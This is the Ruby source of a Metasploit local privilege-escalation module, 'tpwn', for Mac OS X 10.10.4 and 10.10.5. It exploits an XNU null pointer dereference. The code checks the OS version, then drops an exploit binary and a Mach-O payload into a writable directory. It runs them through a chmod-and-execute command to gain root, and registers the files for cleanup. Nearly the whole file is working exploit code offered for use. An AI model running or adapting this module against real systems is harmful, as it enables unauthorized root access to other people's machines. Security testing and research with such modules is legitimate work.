99 lines
2.5 KiB
Ruby
99 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Local
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Rank = NormalRanking
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include Msf::Post::OSX::System
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Mac OS X "tpwn" Privilege Escalation',
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'Description' => %q{
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This module exploits a null pointer dereference in XNU to escalate
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privileges to root.
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Tested on 10.10.4 and 10.10.5.
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},
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'Author' => [
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'qwertyoruiop', # Vulnerability discovery and PoC
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'wvu' # Copy/paste monkey
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],
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'References' => [
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['URL', 'https://github.com/kpwn/tpwn']
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],
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'DisclosureDate' => 'Aug 16 2015',
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'License' => MSF_LICENSE,
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'Platform' => 'osx',
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'Arch' => ARCH_X86_64,
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'SessionTypes' => ['shell'],
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'Privileged' => true,
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'Targets' => [
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['Mac OS X 10.10.4-10.10.5', {}]
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],
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'DefaultTarget' => 0
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))
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register_options([
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OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
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])
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end
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def check
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ver?? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe
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end
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def exploit
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print_status("Writing exploit to `#{exploit_file}'")
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write_file(exploit_file, binary_exploit)
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register_file_for_cleanup(exploit_file)
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print_status("Writing payload to `#{payload_file}'")
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write_file(payload_file, binary_payload)
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register_file_for_cleanup(payload_file)
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print_status('Executing exploit...')
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cmd_exec(sploit)
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print_status('Executing payload...')
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cmd_exec(payload_file)
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end
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def ver?
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Gem::Version.new(get_sysinfo['ProductVersion']).between?(
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Gem::Version.new('10.10.4'), Gem::Version.new('10.10.5')
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)
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end
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def sploit
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"chmod +x #{exploit_file} #{payload_file} && #{exploit_file}"
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end
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def binary_exploit
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File.read(File.join(
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Msf::Config.data_directory, 'exploits', 'tpwn', 'tpwn'
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))
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end
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def binary_payload
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Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
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end
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def exploit_file
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@exploit_file ||=
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"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
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end
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def payload_file
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@payload_file ||=
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"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
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end
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end
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